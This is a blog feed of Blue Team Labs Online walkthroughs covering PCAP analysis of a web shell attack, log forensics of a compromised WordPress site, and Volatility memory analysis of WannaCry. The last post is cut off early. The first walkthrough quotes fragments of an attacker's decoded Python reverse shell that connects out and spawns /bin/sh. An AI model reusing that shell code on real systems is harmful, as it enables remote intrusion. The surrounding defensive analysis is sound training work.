Blue Team Labs Online on Drew Arpino (Stumblesec)

Blue Team Labs Online — Network Analysis - Web Shell Challenge Walkthrough

Sun, 08 Mar 2026 00:00:00 +0000

Blue Team Labs Online: Network Analysis — Web Shell Challenge Walkthrough

PCAP Threat Hunting with Wireshark and NetworkMiner: Detecting Port Scans, Recon Tools, and Reverse Shell Activity.

Image Credit: https://blueteamlabs.online/home/challenge/network-analysis-web-shell-d4d3a2821b

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a clear and detailed guide to the Network Analysis — Web Shell blue team challenge from Blue Team Labs Online, you’re in the right place. This one leans heavily into network‑level investigation, where every PCAP tells a story and every packet might be a clue.

In this challenge, we’re stepping into the role of a network defender investigating a suspicious SIEM alert for port scanning activity. An internal host suddenly began probing another system, and it’s our job to figure out what’s happening and confirm whether it’s malicious. Fortunately, we’re given a PCAP containing the full exchange, so we have everything we need to analyze what’s going on.

We’ll be using Wireshark to break down the traffic patterns and identify indicators of port scanning, followed by NetworkMiner to dig deeper into user agents, parameters, web shells, and encoded command execution. Along the way, we’ll jump over to CyberChef to clean up payloads, decode some malicious commands, and figure out exactly what kind of shell connection is established.

I’ll walk through each stage clearly so you can build your own workflow for approaching similar packet‑driven investigations. By the end, you’ll have a solid sense of how to pivot between tools like Wireshark, NetworkMiner, and CyberChef to validate detections, uncover malicious activity, and piece together an attack chain hiding inside raw network traffic. Let’s go!

And, hey, if you find this walkthrough helpful, whether it levels-up your skills, gets you over a stumbling block, or just serves as a handy reference — consider following me for more weekly deep dives.

Thanks for reading and going on this investigation with me!

Challenge Scenario:

The SOC received an alert in their SIEM for ‘Local to Local Port Scanning’ where an internal private IP began scanning another internal system. Can you investigate and determine if this activity is malicious or not? You have been provided a PCAP, investigate using any tools you wish.

Setup the Analysis Environment & Extract the Challenge File:

Safety first! It’s always important when working with lab/challenge files from BTLO (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For this walkthrough, I’m using FLARE-VM which is “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”

To keep this write-up focused I’m going to skip the step-by-step setup of FLARE-VM but _i_f you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.

GitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Questions 1 & 2:

What is the IP responsible for conducting the port scan activity?

What is the port range scanned by the suspicious host?

Let’s get cooking. After extracting the challenge files, we stumble across the artifact we need: BTLOPortScan.pcap. This file contains captured network traffic, giving us visibility into the communication that triggered the alert.

Overview of the Challenge File

To start, we’ll load the PCAP into Wireshark. One of the quickest ways to spot scanning behavior is to look at the TCP conversations. This gives us a high‑level view of which hosts are talking and which ports they’re communicating over.

To reach this view, navigate to Statistics > Conversations > TCP and sort the Port B (destination port) column.

Wireshark: Identifying port scan activity through the conversations view

Right away, we see a pattern emerge: the Address A (source IP address) 10.251.96.4 sends a couple of packets to each well‑known port, incrementing one by one from port 1 up through port 1024.

Wireshark: Identifying the top end of the port range scanned by the suspicious IP

This behavior is characteristic of a vertical port scan, where a single host probes many ports on a single destination. With that, we’ve got everything needed to answer Questions 1 & 2.

Question 3: What is the type of port scan conducted?

Now that we’ve identified the port scan activity from the suspicious host, we need to determine the specific type of scan it performed. To illustrate this, we’ll apply a Wireshark display filter to inspect the TCP communication to and from a specific port.

On the Wireshark home screen, we can enter the following filter to isolate traffic from and to the suspicious host over TCP port 1, for example:

ip.addr==10.251.96.4 && tcp.port==1

The first packet shows that the suspicious host sends a TCP SYN packet to the target on TCP port 1.

Wireshark: Looking at the TCP conversation for port 1

The destination host responds with a RST packet because the port is closed. This behavior aligns with how Nmap describes a SYN scan: “the OS responds to the unexpected SYN/ACK with a RST packet… Because the three-way handshake is never completed, SYN scan is sometimes called half-open scanning”.

TCP SYN (Stealth) Scan (-sS) | Nmap Network Scanning _SYN scan is the default and most popular scan option for good reason. It can be performed quickly, scanning thousands…_nmap.org

In other words, the suspicious host initiates the handshake with a SYN, receives either a SYN/ACK or RST, and never completes the full connection. That’s the indicator of a TCP SYN scan which answers Question 3.

Question 4: Two more tools were used to perform reconnaissance against open ports, what were they?

To answer this one, we’ll pivot away from Wireshark over to another excellent network forensics tool: NetworkMiner. It offers robust PCAP analysis capabilities, which makes it handy for identifying what tools were used during the reconnaissance phase. Our goal is to examine the User‑Agent headers in the captured traffic to see if they reveal anything interesting.

There’s just one catch: NetworkMiner doesn’t ingest PCAPNG files, so we need to convert the challenge’s PCAPNG into a standard PCAP. In Wireshark:

Go to File > Save As
Select the Wireshark/tcpdump/...-pcap option to save a copy in PCAP format

With the file converted, launch NetworkMiner and open the new PCAP. IMPORTANT: Make sure you’re working in a safe analysis environment. BTLO notes that this PCAP contains real malware, and NetworkMiner will automatically reassemble any files reconstructed from the traffic, including malicious ones.

Once the file loads:

Click the Parameters tab
Enter User-Agent in the Filter keyword box
Sort the results by Parameter value to group similar agents together

NetworkMiner: Filtered view of User-Agent headers exposing recon tools

Bingo! Two entries stand out immediately as well‑known reconnaissance tools: gobuster and sqlmap.

Gobuster is a directory brute‑forcing tool often used during web enumeration.
Sqlmap is an automated penetration testing tool for detecting and exploiting SQL injection vulnerabilities.

Both tools conveniently identify themselves in the User‑Agent header (for example, gobuster/3.0.1 or sqlmap/1.4), which is why sorting by parameter value works so well here.

Question 5: What is the name of the php file through which the attacker uploaded a web shell?

Now let’s stick with the Parameters tab in NetworkMiner and clear the previous filter. Instead of searching for User-Agent values this time, we’ll look for the keyword .php to identify anything that might hint at a file upload function an attacker could abuse.

Scanning through the filtered results, we stumble across something interesting: a POST request to /upload.php in frame 16102. That might work, right?

NetworkMiner: Parameters tab showing POST request toward an upload function

But this isn’t necessarily the file we’re looking for. To confirm where the upload originated, we should inspect the second entry tied to this same frame. In that entry, the Referer parameter points to /editprofile.php.

That’s our answer! The attacker uploaded the web shell through editprofile.php, not upload.php. The presence of the Referer header makes this easy to see and correlates the upload action directly to the vulnerable file.

Question 6: What is the name of the web shell that the attacker uploaded?

Now that we’ve found the file abused to upload a web shell, let’s turn our attention to identifying the shell itself before we dive into deeper analysis. For this, we’ll stay right in the same Parameters view in NetworkMiner.

Conveniently for us, there’s a third parameter in frame 16102, listed directly beneath the entries we examined in the previous question. It includes a filename header with the value dbfunctions.php.

That’s our web shell!

NetworkMiner: Parameters tab showing filename=dbfunctions.php associated with the upload request

Questions 7 & 8:

What is the parameter used in the web shell for executing commands?

What is the first command executed by the attacker?

Our next tasks are to pinpoint the parameter the web shell uses to execute commands and identify the first command the attacker ran. This part is nice and straightforward. Right below the filename parameter we spotted in Question 6, we see clear evidence of command execution using the cmd parameter.

Reviewing the entries, we see multiple commands sent through this parameter, but the very first is the id command. This is a typical discovery step for an attacker because it reveals the user context that the web shell is running under.

NetworkMiner: Parameters tab showing id as the first command executed

Questions 9 & 10:

What is the type of shell connection the attacker obtains through command execution?

What is the port he uses for the shell connection?

We’re nearing the end of our investigation, and the final two questions have us analyzing the malicious command execution that follows the discovery commands id and whoami. We can find the attacker’s command line directly below the execution entry we identified in the last question.

NetworkMiner: Copying the command execution payload

To make this easier to read and understand, we’ll grab an overview of the full command and do a little cleanup in CyberChef. To copy the entry in NetworkMiner, right‑click the row and select copy selected rows.

Next, open CyberChef (web version or offline if you have it in your analysis environment). Paste the copied row into the input field. From the operations menu, add URL Decode to the recipe. This strips away the URL‑encoded characters that make the command harder to read.

In the output window, we now have everything we need to answer the final two questions.

CyberChef: Decoding the attacker’s command execution to analyze the shell

The decoded command shows two important behaviors. First, the attacker sets up a TCP socket and connects back to a remote listener on the specified IP and port:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((“IP”, PORT))

This is our first clue. It establishes an outbound connection initiated from the compromised host, meaning the attacker is expecting a callback.

The key indicator appears a bit further down in the command:

p=subprocess.call(["/bin/sh","-i"])

This spawns an interactive shell that pipes input and output over that established socket. When we put this together, the answer becomes clearer: the attacker obtains a reverse shell.

From the decoded command, we can also see that the connection is made to port 4422, where the attacker’s listener is waiting.

So, the attacker uses an interactive reverse shell, and the connection targets port 4422.

Conclusion:

How fun was that! A big thank you to Blue Team Labs Online for another awesome challenge.

This week’s investigation was a great deep dive into practical network forensics, giving us a hands‑on look at how attacker activity can be investigated inside raw packet data. From uncovering port scans to tracking reconnaissance tools, spotting a web shell upload, and finally decoding an interactive reverse shell, this challenge showcased how much insight a single PCAP can provide.

As we moved through the traffic, we were hot on the attacker’s heels, rebuilding their attack chain. Each question flowed naturally into the next, and the investigation felt steady and logical as we pivoted between Wireshark, NetworkMiner, and CyberChef. It’s always satisfying when a challenge hits that sweet spot where you can validate detections, uncover attacker behavior, and sharpen your forensics instincts all at once. Nice!

I chose this week’s challenge to keep leveling up my network defense skills and get more reps with Wireshark and NetworkMiner to analyze malicious activity directly at the packet level. Breaking down encoded payloads, recognizing attacker tooling, and uncovering reverse shell behavior never gets old, and this one delivered exactly the kind of structured practice I’m into.

Thanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://blueteamlabs.online/home/challenge/network-analysis-web-shell-d4d3a2821b

Flare-VM: https://github.com/mandiant/flare-vm

Wireshark: https://www.wireshark.org/

NetworkMiner: https://www.netresec.com/?page=NetworkMiner

Nmap — TCP SYN (Stealth) Scan (**-sS**): https://nmap.org/book/synscan.html

sqlmap: https://sqlmap.org/

gobuster: https://github.com/OJ/gobuster

CyberChef: https://gchq.github.io/CyberChef/

Imperva — “Reverse Shell”: https://www.imperva.com/learn/application-security/reverse-shell/

Blue Team Labs Online — Log Analysis - Compromised WordPress Challenge Walkthrough

Mon, 05 Jan 2026 00:00:00 +0000

Blue Team Labs Online | Log Analysis — Compromised WordPress | Challenge Walkthrough

A Log Analysis Challenge Using http Logs Viewer

Image Credit: https://blueteamlabs.online/home/challenge/log-analysis-compromised-wordpress-ce000f5b59

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Log Analysis — Compromised WordPress blue team challenge from Blue Team Labs Online, you’re in the right place.

Challenge Scenario:

One of our WordPress sites has been compromised but we’re currently unsure how. The primary hypothesis is that an installed plugin was vulnerable to a remote code execution vulnerability which gave an attacker access to the underlying operating system of the server.

For this challenge, we’re putting on our incident response hats. We’ll dig into the provided access.log file, analyze suspicious requests, and piece together how the attacker gained access.

We’ll be using http Logs Viewer (formerly Apache Logs Viewer) for log analysis and complementing that with research into CVEs and attacker TTPs. By the end of this walkthrough, you’ll have a clear understanding of how to approach similar investigations in the wild. An even cooler part? While this investigation focuses on a WordPress site compromise, the log analysis skills you’ll practice here apply to other web servers as well — making this a great primer for web server log analysis, too. Sound good? Let’s dive in!

And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

Setup the Analysis Environment & Extract the Challenge File:

Safety first! It’s always important when working with lab/challenge files from BTLO (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. I’m using FLARE-VM for this challenge which is “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Let’s kick off our investigation by extracting the challenge file from the ZIP we downloaded from BTLO using the password provided in the challenge window. After extraction, we’re left with a single file: access.log. This is the file we’ll analyze to determine how the WordPress site was compromised.

An important thing to note here is that the access.log is generated by the backend web server software, like Apache, and not by WordPress directly. Why does this matter? Because it informs what tool we use for analysis and reminds us that these log analysis skills apply far beyond WordPress investigations.

With that in mind, while any text viewer works, a great tool for examining access.log is http Logs Viewer (formerly Apache Logs Viewer), which “is a free and powerful tool which lets you monitor, view and analyze Apache/IIS/nginx logs with more ease.” Sounds like it fits the bill!

Once you’ve downloaded and installed it, open the tool and load access.log by selecting File > Add Access Log. In the options pop-up window, change the file format to Combined View so we don’t lose any data.

http Logs Viewer: Loading the access.log file

Now that the logs are open, our first task is to identify the admin login panel URL accessed by the attacker. A good starting point is to get an overview of unique IPs in the log. To do this, click the button next to the IP Address filter and select Unique IPs.

http Logs Viewer: Stumbling upon the weird query in the Unique IP view

You’ll see several unique IP addresses, but something stands out: a suspicious POST request from various IPs with what appears to be an admin-level token. This token is likely passed as a query parameter (e.g., ?itsec-hb-token=adminlogin) or embedded in the request body, which attackers often exploit for session hijacking or privilege escalation. Copy the URL, then search for this request string using Ctrl+F. This should take you straight to the first result.

http Logs Viewer: Finding the first instance of the adminlogin token

Since this is a login URL, contains an admin token, and shows successful requests (HTTP 200 status), it strongly suggests this is the admin panel the attacker accessed.

Question 2: Can you find two tools the attacker used?

For this task, we need to identify the two tools used by the attacker. To do this, we’ll switch our focus to the User Agent column. While http Logs Viewer can generate a pie chart of all user agents, it’s not helpful here because we’re looking for something more unique than standard browser strings.

That’s OK though, we can do this manually by sorting the User Agent column in descending order to look for any suspicious entries captured in the log.

http Logs Viewer: Identifying the attacker’s tooling through User Agent headers

While there are a few oddities, two stand out: WPScan and sqlmap. WPScan is a WordPress vulnerability scanner, and sqlmap is a penetration testing tool used to detect and exploit SQL injection vulnerabilities. These tools often handily identify themselves in the User-Agent header (e.g., WPScan v3.8.10 or sqlmap/1.4.11), which is why sorting by User Agent works so well.

This is a potent combination that would help the attacker identify weaknesses in the WordPress server and then exploit them.

For further reading, here are the official sites for these tools:

Homepage _WPScan is an enterprise vulnerability database for WordPress. Be the first to know about vulnerabilities affecting your…_wpscan.com

sqlmap: automatic SQL injection and database takeover tool _sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection…_sqlmap.org

Question 3: The attacker tried to exploit a vulnerability in ‘Contact Form 7’. What CVE was the plugin vulnerable to? (Do some research!)

To answer Question 3, we already know the attacker targeted the Contact Form 7 plugin, which gives us a jump start on research.

First, let’s confirm evidence of this plugin in the logs. Use the find function(Ctrl+F) in http Logs Viewer and search for requests containing the string contact-form-7.

http Logs Viewer: Searching the logs for the vulnerable plugin

http Logs Viewer: Identifying the version number of the vulnerable plugin

With this search, we can confirm the presence of Contact Form 7 in the logs, and more importantly, we can see a version number in the query parameter—this is the key.

Now we pivot to research mode! Use your favorite search engine to look for vulnerabilities in Contact Form 7 version 5.3.1 which quickly leads us to CVE-2020-35489, an arbitrary file upload vulnerability. For example, using CVEdetails, we learn:

The contact-form-7 (aka Contact Form 7) plugin before 5.3.2 for WordPress allows Unrestricted File Upload and remote code execution because a filename may contain special characters.

This means attackers could upload malicious files by exploiting improper filename sanitization, leading to remote code execution.

Question 4: What plugin was exploited to get access?

To answer Question 4, we need to identify a second vulnerable plugin. Here’s what we know about the attacker so far:

They attempted to abuse CVE-2020–35489 in Contact Form 7.
CVE-2020–35489 “allows Unrestricted File Upload and remote code execution because a filename may contain special characters.”

In other words, the attacker may favor techniques that abuse file uploads. This means we should adjust our search scope in http Logs Viewer to focus on HTTP POST requests, specifically targeting upload endpoints. We can do this by applying the Request Methods filter and setting it to POST.

http Logs Viewer: Filter HTTP POST requests

Once the filter is applied, the log becomes much more manageable. It’s easier to spot successful POST requests to both Contact Form 7 and a second plugin: Simple-File-List, with a suspicious-looking .php file in the upload path.

http Logs Viewer: Identifying a second plugin

It seems like we’re on the right track, but we don’t yet have explicit evidence of the version of Simple-File-List to confirm if it’s vulnerable to remote file upload exploitation, right? So, let’s work backwards and research any vulnerability in this plugin that fits that criteria.

With a little searching, we’ll stumble across CVE-2020–36847. According to the National Vulnerability Database:

NVD _The Simple-File-List Plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including…_nvd.nist.gov

The Simple-File-List Plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 4.2.2 via the rename function which can be used to rename uploaded PHP code with a png extension to use a php extension. This allows unauthenticated attackers to execute code on the server.

This aligns perfectly with the attacker’s known TTPs. Without any other evidence, let’s make an educated gamble and check if version 4.2.2 was the plugin exploited by the attacker.

Question 5: What is the name of the PHP web shell file?

Now that we’ve confirmed Simple-File-List version 4.2.2 was exploited to gain access, this explains the suspicious-looking .php file we called out in Question 4.

While we don’t have any further evidence of the file’s capabilities, the question tells us it’s a web shell. That means the attacker likely uploaded a malicious PHP script to maintain access and execute commands on the server. The log entry showing the upload path should reveal the exact filename — this is what we’re after.

http Logs Viewer: Identifying the attacker’s web shell

Question 6: What was the HTTP response code provided when the web shell was accessed for the final time?

For the eagle-eyed readers out there, you may have noticed in the screenshot from the previous question the HTTP response code in the Status column — most were 200 (successful), but one wasn’t.

http Logs Viewer: Identifying the attacker’s web shell

An easy way to confirm this is to use http Logs Viewer’s find function and search for the name of the web shell we identified in Question 5 — fr34k.php.

This narrows the log to entries containing that filename and makes it much easier to spot the final request. The last entry shows a 404 status, meaning the file was no longer accessible. Great job! Now let’s wrap up this investigation.

Conclusion:

Logs Analyzed! How fun was that? A big thank you to Blue Team Labs Online for another awesome challenge.

This challenge was a fantastic deep dive into web server log analysis and plugin vulnerabilities. It gave us a realistic look at how attackers chain weaknesses (like unrestricted file uploads and remote code execution) into full compromise of a WordPress site.

I picked this challenge because it’s a great way to sharpen incident response skills while practicing techniques that apply far beyond WordPress. From filtering HTTP methods to spotting suspicious user agents, and researching CVEs, every question built on the last, making the investigation feel logical and rewarding. As an added bonus, these log analysis skills are transferable to other web servers, so this was a solid primer for broader forensic work. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://blueteamlabs.online/home/challenge/log-analysis-compromised-wordpress-ce000f5b59

Flare-VM: https://github.com/mandiant/flare-vm

http Logs Viewer (formerly Apache Logs Viewer): https://www.apacheviewer.com/

sqlmap: https://sqlmap.org/

WPScan: https://wpscan.com/

CVEdetails — CVE-2020–35489: https://www.cvedetails.com/cve/CVE-2020-35489/

National Vulnerability Database (NVD) — CVE-2020–36847: https://nvd.nist.gov/vuln/detail/CVE-2020-36847

Blue Team Labs Online — Memory Analysis - Ransomware Walkthrough

Mon, 03 Nov 2025 00:00:00 +0000

Blue Team Labs Online | Memory Analysis — Ransomware | Walkthrough

A Memory Analysis Challenge Using Volatility 2.6.

Image Credit: https://blueteamlabs.online/home/challenge/memory-analysis-ransomware-7da6c9244d

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Memory Analysis — Ransomware blue team challenge from Blue Team Labs Online, you’re in the right place.

This challenge is a great entry point into the world of memory forensics, process analysis, and threat intelligence. But don’t worry — whether you’re just getting started in incident response or you’ve already built up some muscle memory with Volatility, there’s plenty here to learn.

Let’s check out the scenario to get started:

Challenge Scenario:

The Account Executive called the SOC earlier and sounds very frustrated and angry. He stated he can’t access any files on his computer and keeps receiving a pop-up stating that his files have been encrypted. You disconnected the computer from the network and extracted the memory dump of his machine and started analyzing it with Volatility. Continue your investigation to uncover how the ransomware works and how to stop it!

Yikes! This challenge puts us squarely in the middle of a ransomware investigation. We’ll be using Volatility to analyze the memory dump, identify suspicious processes, extract forensic artifacts, and ultimately confirm the ransomware family involved. Along the way, we’ll pivot to tools like VirusTotal and use command-line utilities to hash and verify dumped binaries.

I’ll walk through each step clearly, and by the end, you’ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Setup the Analysis Environment & Extract the Challenge File:

Safety first! When working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range), it’s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I’m using REMnux, a specialized Linux distribution for malware analysis.

To keep this write-up focused, I’m going to skip step-by-step setup directions of REMnux, but if you’d like to set up your own environment, please follow the guide provided by REMnux directly. For reference, I used the virtual appliance method:

[Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

– “https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

–”)[](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

–)

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: Run “vol.py -f infected.vmem — profile=Win7SP1x86 psscan” that will list all processes. What is the name of the suspicious process?

Let’s kick off our memory dump investigation. To analyze the contents of the memory dump file, infected.vmem, we’ll use Volatility, a popular memory forensics tool. There are a couple of versions of Volatility: Volatility 2.6 (the original, no longer in active development) and Volatility 3 (in active development).

Overview of the Challenge File Folder

So, which one should we choose? The question is asking us to use the OS profile switch for Win7SP1x86, which tells us we need to use Volatility 2 (which I’ll just call Volatility from here on out). In Volatility 3, OS profiles aren’t needed — it uses a different plugin architecture and auto-detection mechanisms.

One last helpful piece of background: we can access the Volatility command reference on the project’s GitHub, which helps us understand what each command is doing:

Command Reference _An advanced memory forensics framework. Contribute to volatilityfoundation/volatility development by creating an…_github.com

Now that we’ve gotten all our ducks in a row, let’s get to work!

Start by opening a terminal in the folder containing the infected.vmem file and executing the command from the question:

vol.py -f infected.vmem –profile=Win7SP1x86 psscan

This command opens Volatility and parses the infected.vmem image file using the psscan plugin. According to the documentation:

To enumerate processes using pool tag scanning (_POOL_HEADER), use the psscan command. This can find processes that previously terminated (inactive) and processes that have been hidden or unlinked by a rootkit.

The psscan output shows us all processes running on the victim’s system at the time of capture. It might look a little daunting at first, but there are a couple of odd-looking processes in the list:

@WanaDecryptor
or4qtckT.exe

Volatility: Identifying Suspicious Processes with psscan

For the purposes of this investigation, we’ll focus on WanaDecryptor for a couple of reasons:

The name is similar to a famous ransomware campaign.
There are two instances: one terminated and one still active.
The second process is the parent, which we’ll need to answer Question 2.

Questions 2 & 3:

What is the parent process ID for the suspicious process?

What is the initial malicious executable that created this process?

I might’ve spoiled it in the last question, but to answer Question 2, we need to provide the parent process ID (PPID) of the suspicious process from the psscan results. We can identify this by looking at the PPID column for the suspicious process line.

Volatility: Identifying the Suspicious Process PPID

The PPID matches the process ID (PID) of the second suspicious process we identified: or4qtckT.exe. This means it’s the parent process that created the suspicious process from Question 1.

Volatility: Identifying the Suspicious Parent Executable

To answer Question 3, we now know that or4qtckT.exe is the initial malicious executable that spawned the process we flagged earlier which helps to establish the relationship in the attack chain.

Question 4: If you drill down on the suspicious PID (vol.py -f infected.vmem — profile=Win7SP1x86 psscan | grep (PIDhere)), find the process used to delete files

For our next task, we’re going to continue analyzing the output from the psscan plugin. This time, we’re going to leverage grep to display only the entries related to the PID of or4qtckT.exe, which we uncovered in the last question. Here’s the command:

vol.py -f infected.vmem –profile=Win7SP1x86 psscan | grep 2732

The output helps us quickly identify a second child executable: taskdl.exe. It shares the same PPID as the first one. While we don’t yet have further analysis of this binary, the fact that the malicious executable spawned both processes allows us to reasonably guess that this is the process used to delete files.

Volatility: Identifying a Second Process with the Malicious Parent Process

Question 5: Find the path where the malicious file was first executed

Moving right along to Question 5, we’ll need to pivot away from psscan to another module. When determining the right one to use, it can be really useful to pull up Volatility’s help menu and review the options. You can access it with the command:

vol.py -h

Based on the available options, it seems like the cmdline module will fit the bill, as it’s used to “display process command-line arguments.” Let’s give it a try with a quick adjustment to our command. We’ll combine the cmdline function with grep to focus on the malware or4qtckT.exe:

vol.py -f infected.vmem –profile=Win7SP1x86 cmdline | grep 2732

Volatility: Identifying the Malware File Location with cmdline

Awesome! This gives us exactly what we needed — the file path of the executable, right on the “hacker’s” desktop.

Question 6: Can you identify what ransomware it is? (Do your research!)

Now that we’ve identified the malicious executable and its child processes, it’s time to pivot to threat intelligence to figure out what ransomware family we’re dealing with. The approach is straightforward: obtain the file hash for or4qtckT.exe, check VirusTotal, and use the intelligence to confirm the ransomware family.

First, we’ll dump the executable using Volatility’s procdump command, specifying the PID we found in Question 2:

vol.py -f infected.vmem –profile=Win7SP1x86 procdump –pid=2732 –dump-dir OUTPUTDIRECTORY

Volatility: Dumping the malicious executable with prodcump & obtaining the file hash

With the executable dumped, we can calculate the SHA-256 file hash using sha256sum command:

5215d03bf5b6db206a3da5dde0a6cbefc8b4fee2f84b99109b0fce07bd2246d6

Next, head to VirusTotal, and input the file hash in the search box. We’ll see immediately that this sample has been analyzed on the platform already and that a majority of vendors have tagged it as malicious.

https://www.virustotal.com/gui/file/5215d03bf5b6db206a3da5dde0a6cbefc8b4fee2f84b99109b0fce07bd2246d6

To answer Question 6, we’re interested in the Family and Threat Label tags, identifying this file as part of the WannaCry ransomware family. This lines up with the naming similarity we stumbled on earlier in Question 1, which solidifies the findings.

Question 7: What is the filename for the file with the ransomware public key that was used to encrypt the private key? (.eky extension)

We’ve made it to the final question, and this one asks us to find the filename of the ransomware public key with the .eky extension. This is a little outside the usual scope of the challenge, but .eky isn’t a common file extension. It’s most often associated with the WannaCry ransomware family, which fits with what we found in Question 6.

So, how do we find it? We’ll use another Volatility module: dumpfiles. This lets us check other files cached in memory for the PID tied to the malicious process. The command looks similar to the one we use in Question 6:

vol.py -f infected.vmem –profile=Win7SP1x86 dumpfiles –pid=2732 –dump-dir OUTPUTDIRECTORY

Volatility: Dumping the associated files for the malicious PID with dumpfiles

When we run this command, the associated files dump to the specified directory, and the listing also prints to the console. From that output, we see the first two lines contain the filename 00000000.eky. That’s the key file we need to wrap up this investigation!

Conclusion:

How fun was that? A big thank you to Blue Team Labs Online for putting together another solid challenge.

This investigation was a breezy introduction to Volatility and ransomware behavior. It’s a great example of how memory analysis can reveal the full scope of an attack — from identifying suspicious processes with psscan, to extracting binaries with procdump, and finally confirming the ransomware family via threat intelligence — even when disk artifacts aren’t available.

I chose this challenge to sharpen my incident response workflow and get reacquainted with Volatility, especially in scenarios where ransomware is involved. The investigation pushed me to pivot between modules, apply threat intelligence, do some research about this ransomware, and yes — stumble across clues like the .eky file. Awesome stuff!

Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://blueteamlabs.online/home/challenge/memory-analysis-ransomware-7da6c9244d

REMnux: https://remnux.org/

Volatility: https://volatilityfoundation.org/the-volatility-framework/

Volatility — Command Reference: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#psscan

VirusTotal: https://www.virustotal.com/

VirusTotal — Sample: https://www.virustotal.com/gui/file/5215d03bf5b6db206a3da5dde0a6cbefc8b4fee2f84b99109b0fce07bd2246d6

MITRE ATT&CK — Software — WannaCry (S0366): https://attack.mitre.org/software/S0366/

Blue Team Labs Online — Reverse Engineering - A Classic Injection Challenge Walkthrough

Sun, 17 Aug 2025 00:00:00 +0000

Blue Team Labs Online — Reverse Engineering — A Classic Injection Challenge Walkthrough

A Malware Analysis Challenge Using Ghidra and ProcMon

Image Credit: https://blueteamlabs.online/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Reverse Engineering — A Classic Injection challenge from Blue Team Labs Online, you’re in the right place. This challenge is a fantastic introduction to malware reverse engineering using both static and dynamic analysis techniques — let’s check out the scenario below.

Challenge Scenario:

Analyse the attached EXE sample and find answers to the following questions. Note: The EXE uses shellcode generated by the Metasploit attack framework. Make sure you analyse the sample in contained environment (we recommend a virtual machine where internet access is disabled).

For this challenge, we’re provided a malicious executable file generated by Metasploit. Our job is to dig into the binary to understand what the malware is capable of and how it works.

To perform this investigation, we’ll gather information about the malware and its capabilities by performing static code analysis using Ghidra. Once we’ve learned more about how the malware functions, we’ll pivot to dynamic analysis by executing the malware and capturing system activity for further inspection. By combining both techniques, we’ll build a comprehensive understanding of how the malware operates.

Sounds like fun, right? Let’s get into it!

And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

Setup the Analysis Environment & Extract the Challenge File:

Safety first! It’s always important to heed the warning when working with lab/challenge files from BTLO (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment.

For example, I’m using FLARE-VM for this challenge: “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”

To keep this write-up focused I’m going to skip a step-by-step setup of FLARE-VM, but if you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: What is the name of the compiler used to generate the EXE?

Let’s kick off our investigation! First things first: unzip the challenge file archive, then unzip the inner .ZIP file to expose the sample, analyseme.exe.

File Explorer: The location of the malware sample.

To answer Question 1, we need to determine the compiler used to generate the executable. For this task, we can use a file identification tool like PEiD, which comes bundled with Flare-VM. This is a good first step in any malware reverse engineering workflow to learn more about the binary and inform the next investigative steps.

After opening PEiD, drag the analyseme.exe file into the application to perform the analysis.

PEiD: Identifying the compiler

At the bottom of the window, we’ll see Microsoft Visual C++ 8 — this is the name of the compiler used to create the executable.

Question 2: This malware, when executed, sleeps for some time. What is the sleep time in minutes?

Now that we’ve identified the compiler, it’s time to jump into a disassembler and start statically analyzing the sample.

